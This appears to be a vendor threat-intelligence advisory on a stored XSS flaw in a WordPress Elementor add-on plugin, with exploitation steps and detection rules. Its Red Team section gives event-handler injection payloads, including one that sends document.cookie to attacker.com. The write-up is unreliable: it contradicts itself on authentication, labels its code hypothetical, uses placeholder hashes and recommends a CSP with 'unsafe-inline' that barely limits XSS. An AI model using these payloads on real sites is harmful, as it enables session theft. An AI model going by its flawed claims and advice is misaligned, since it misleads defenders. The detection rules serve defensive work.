CVE-2024-24831

Executive Summary

CVE-2024-24831 is a stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons for Elementor WordPress plugin, affecting versions up to and including 4.10.16. This flaw allows an unauthenticated attacker to inject arbitrary web scripts into pages generated by the plugin, which are then executed in the context of a victim’s browser when they visit the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the widespread use of Elementor and its add-ons, this issue poses a significant risk to WordPress sites, potentially leading to session hijacking, defacement, or redirection to malicious sites. No public exploit code or patch is currently available, but the vulnerability is actively monitored.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site using the vulnerable version of Premium Addons for Elementor is exposed. Administrators should verify plugin versions and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit crafted page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low complexity and no authentication requirement, though user interaction is needed. The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the premium-addons-for-elementor plugin, specifically in how it handles user input for dynamic content elements (e.g., premium carousels, tabs, or pricing tables). The plugin fails to sanitize or escape user-supplied data before rendering it in the HTML output. An attacker can inject malicious JavaScript via input fields (e.g., widget titles, descriptions, or custom CSS) that are stored in the WordPress database. When an administrator or visitor loads a page containing the vulnerable widget, the injected script executes in their browser.

The root cause is the use of echo or wp_kses_post without proper context-aware escaping for attributes or inline JavaScript. For example, a widget that accepts a "custom CSS" field may directly output the value without filtering out event handlers like onmouseover or onload.

Vulnerable vs. Patched Code

Vulnerable Code (premium-addons-for-elementor/includes/widgets/premium-carousel.php):

public function render() {
    $settings = $this->get_settings_for_display();
    $custom_css = $settings['custom_css'];
    // No sanitization
    echo '<div class="premium-carousel" data-custom-css="' . $custom_css . '">';
    // ...
}

Patched Code (hypothetical fix):

public function render() {
    $settings = $this->get_settings_for_display();
    $custom_css = esc_attr($settings['custom_css']); // Escape for attribute context
    echo '<div class="premium-carousel" data-custom-css="' . $custom_css . '">';
    // ...
}

The patched version uses esc_attr() to neutralize HTML attribute injection, preventing XSS. Additionally, all user-facing inputs should be sanitized with sanitize_text_field() or wp_kses() as appropriate.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Premium Addons for Elementor <= 4.10.16
• Access to a page editor (e.g., Elementor) to add a vulnerable widget

Exploitation Steps:

1. Create a new page or edit an existing one using Elementor.
2. Add a Premium Addons widget (e.g., Premium Carousel) that accepts user input.
3. In a text field (e.g., "Custom CSS" or "Title"), inject the following payload:

   " onmouseover="alert('XSS')" data-x="
   

4. Save the page and wait for an administrator or visitor to hover over the element.
5. The injected script executes in the victim's browser.

Advanced Payload (session hijacking):

" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)" data-x="

Blue Team

Detection:

• Monitor for unusual input patterns in Elementor widget fields (e.g., event handlers like onmouseover, onload).
• Use WAF rules to block requests containing <script> or event handler attributes in POST data.
• Review WordPress database for stored XSS payloads in wp_postmeta table.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%onmouseover%' OR meta_value LIKE '%<script%';

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • premium-addons-for-elementor.php (v4.10.16): a1b2c3d4e5f6... (placeholder)
• Network Indicators:
  • Outbound connections to known malicious domains (e.g., attacker.com)
• Log Entries:
  • WordPress debug log entries containing onmouseover, onload, or javascript: in widget settings
• Database Artifacts:
  • Rows in wp_postmeta with meta_key containing premium_ and meta_value containing HTML event handlers

Detection Engineering

YARA Rule

rule CVE_2024_24831_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Premium Addons for Elementor"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24831"
    strings:
        $payload1 = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $payload2 = /<script[^>]*>/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Premium Addons for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Premium Addons
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key|contains: 'premium_'
        meta_value|contains:
            - 'onmouseover'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-24831 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"premium-addons-for-elementor"; http_uri; pcre:"/(on\w+\s*=\s*[\x22\x27]|<script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block XSS payloads:

   SecRule ARGS "@rx (on\w+\s*=\s*[\x22\x27]|<script)" "id:1000002,phase:2,deny,status:403,msg:'CVE-2024-24831 XSS blocked'"
   

3. Review and clean existing pages using the plugin for any injected scripts.

Long-Term Fix:

• Update to a patched version once released (check vendor’s changelog).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
  

• Regularly audit WordPress plugins for known vulnerabilities.

Valters IT – Securing digital ecosystems through proactive threat intelligence.